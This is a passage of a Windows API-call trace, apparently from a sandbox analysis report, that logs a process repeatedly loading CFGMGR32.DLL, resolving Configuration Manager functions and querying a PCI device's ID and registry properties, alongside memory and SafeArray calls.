0x7ffb1ced91c0 [0212.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.031] malloc (_Size=0x18) returned 0x20abc281fc0 [0212.031] CM_Get_Device_IDA (in: dnDevInst=0x33, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293A&SUBSYS_11001AF4&REV_03\\3&11583659&0&10") returned 0x0 [0212.031] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3a2635ae, dwHighDateTime=0x1d9eb0c)) [0212.031] SetEvent (hEvent=0x248) returned 1 [0212.038] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.038] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.041] malloc (_Size=0x18) returned 0x20abc281ec0 [0212.042] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0212.042] malloc (_Size=0x124) returned 0x20abc286890 [0212.042] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0212.043] free (_Block=0x20abc286890) [0212.043] malloc (_Size=0x48) returned 0x20abc27cf80 [0212.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3a2635ae, dwHighDateTime=0x1d9eb0c)) [0212.043] SetEvent (hEvent=0x248) returned 1 [0212.045] malloc (_Size=0x18) returned 0x20abc281ea0 [0212.046] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0212.046] free (_Block=0x20abc281ea0) [0212.046] malloc (_Size=0x18) returned 0x20abc281b80 [0212.046] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0212.046] free (_Block=0x20abc281b80) [0212.046] malloc (_Size=0x18) returned 0x20abc282060 [0212.046] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0212.046] free (_Block=0x20abc282060) [0212.046] malloc (_Size=0x18) returned 0x20abc281c80 [0212.046] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0212.046] free (_Block=0x20abc281c80) [0212.046] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d7f0 [0212.046] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0212.046] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0212.046] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0212.046] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b80 [0212.046] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0212.046] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0212.046] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0212.047] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0212.047] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b50, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.047] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b58, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.047] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b60, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.047] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b68, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.048] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b80) returned 1 [0212.048] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d7f0) returned 1 [0212.049] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.049] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.052] malloc (_Size=0x18) returned 0x20abc281fc0 [0212.052] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0212.052] malloc (_Size=0x10e) returned 0x20abc286890 [0212.052] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0212.053] free (_Block=0x20abc286890) [0212.053] malloc (_Size=0x48) returned 0x20abc2a8c80 [0212.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3a2893a3, dwHighDateTime=0x1d9eb0c)) [0212.053] SetEvent (hEvent=0x248) returned 1 [0212.055] malloc (_Size=0x18) returned 0x20abc2820a0 [0212.055] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0212.056] free (_Block=0x20abc2820a0) [0212.056] malloc (_Size=0x18) returned 0x20abc281e60 [0212.056] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0212.056] free (_Block=0x20abc281e60) [0212.056] malloc (_Size=0x18) returned 0x20abc2819a0 [0212.056] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0212.056] free (_Block=0x20abc2819a0) [0212.056] malloc (_Size=0x18) returned 0x20abc281c80 [0212.056] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0212.056] free (_Block=0x20abc281c80) [0212.056] malloc (_Size=0x18) returned 0x20abc281be0 [0212.056] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0212.056] free (_Block=0x20abc281be0) [0212.056] malloc (_Size=0x18) returned 0x20abc281d40 [0212.056] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0212.056] free (_Block=0x20abc281d40) [0212.056] malloc (_Size=0x18) returned 0x20abc281f80 [0212.057] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0212.057] free (_Block=0x20abc281f80) [0212.057] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0212.057] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0212.057] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0212.057] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0212.057] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b50 [0212.057] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0212.057] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0212.057] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0212.057] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0212.057] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff40, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.058] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff48, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.058] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff50, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.058] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff58, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.058] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff60, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.058] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff68, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.058] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0212.059] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b50) returned 1 [0212.059] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0212.060] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.060] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.064] malloc (_Size=0x18) returned 0x20abc281de0 [0212.064] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.067] malloc (_Size=0x48) returned 0x20abc27cf80 [0212.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a2afa5c, dwHighDateTime=0x1d9eb0c)) [0212.068] SetEvent (hEvent=0x248) returned 1 [0212.205] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.205] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.206] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.209] malloc (_Size=0x18) returned 0x20abc281e60 [0212.209] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.209] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a407183, dwHighDateTime=0x1d9eb0c)) [0212.209] SetEvent (hEvent=0x248) returned 1 [0212.213] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.213] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.216] malloc (_Size=0x18) returned 0x20abc281ae0 [0212.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.216] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a407183, dwHighDateTime=0x1d9eb0c)) [0212.217] SetEvent (hEvent=0x248) returned 1 [0212.220] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.220] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.222] GetProcAddress 